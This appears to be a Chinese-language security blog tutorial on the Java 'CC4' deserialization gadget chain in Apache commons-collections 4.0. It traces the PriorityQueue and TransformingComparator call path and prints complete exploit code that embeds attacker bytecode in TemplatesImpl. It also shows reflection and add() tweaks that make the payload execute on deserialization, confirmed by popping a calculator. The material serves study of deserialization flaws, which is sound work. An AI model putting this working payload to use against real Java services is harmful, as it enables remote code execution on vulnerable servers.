CC4链
之前讲的几条链子,都是在commons-collections3.2.1版本之前的攻击链,cc4是在commons-collections4.0版本中的一条链子
实际上,这条链子还是换汤不换药,只是中间执行的方式换了一下,后面还是命令执行和代码执行两种方式
CC4攻击链分析
调用transform方法
这里用到的是TransformingComparator
的compare
方法,他的属性是public属性,且这个类继承了Serializable接口
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
调用compare
现在只需要找到一个类的readObject方法中调用了compare,实际上在PriorityQueue
的readObject
方法中调用到了,因为它也是在其他函数中层层调用的,我们这里就直接正向寻找了
以下是函数的调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ...... heapify(); } private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); } private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
小芝士:
有同学可能问了,为什么这条链必须是在common collections4.0的情况下呢,我们看一下区别
因为在3.2.1的版本内是不没有继承序列化接口的,而4.0中继承了序列化接口
1 2 3 4 5 public class TransformingComparator implements Comparator public class TransformingComparator <I, O> implements Comparator <I>, Serializable
现在来写一下这个链子,和之前的链子也是大同小异
我们现在只需要把chainedTransformer放入TransformingComparator
,再将TransformingComparator
放入priorityQueue
优先队列里面(这两个类的构造函数如下)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public TransformingComparator (final Transformer<? super I, ? extends O> transformer) { this (transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator (final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this .decorated = decorated; this .transformer = transformer; } public PriorityQueue (Comparator<? super E> comparator) { this (DEFAULT_INITIAL_CAPACITY, comparator); } public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException (); this .queue = new Object [initialCapacity]; this .comparator = comparator; }
实现如下,这样的话链子的逻辑也就走完了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "CC3" ); byte [] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes={code}; Field bytecodes = tl.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, codes); Field tfactory = tl.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); serialize(priorityQueue); unserialize("ser.bin" ); }
后续调整
自己思考与尝试
但是运行后却无视发生,应该是在链子运行时有一些条件导致链子没有完整的走下来,我们可以通过动态调试来找到问题出处
最后在这里发现,由于size的原因,并没有走到siftDown
方法内,由于size无符号右移以后,为零,所以并没有进行遍历操作,因此我想我们可以通过反射修改size的值为2就可以进行遍历操作
>>> : 无符号右移,忽略符号位,空位都以0补齐
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
反射修改如下,修改后成功执行
1 2 3 4 Class<? extends PriorityQueue > aClass = priorityQueue.getClass(); Field size = aClass.getDeclaredField("size" );size.setAccessible(true ); size.set(priorityQueue, 2 );
实际
在这个地方,白日梦组长是向其中add了两个东西,使他的size变为2,但是在这里add方法也会触发compare方法,就是我们说的cc1的老毛病,也是可以构造时传入无用的东西,等add完成后反射修改回去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public boolean add (E e) { return offer(e); } public boolean offer (E e) { ...... else siftUp(i, e); return true ; } private void siftUp (int k, E x) { if (comparator != null ) siftUpUsingComparator(k, x); else siftUpComparable(k, x); } private void siftUpUsingComparator (int k, E x) { while (k > 0 ) { int parent = (k - 1 ) >>> 1 ; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0 ) break ; queue[k] = e; k = parent; } queue[k] = x; }
将反射改为add方法后,也可以成功弹出计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tl = templates.getClass(); Field name = tl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "CC3" ); byte [] code= Files.readAllBytes(Paths.get("F:\\temporary\\Test.class" )); byte [][] codes={code}; Field bytecodes = tl.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, codes); Field tfactory = tl.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(1 ); serialize(priorityQueue); unserialize("ser.bin" ); }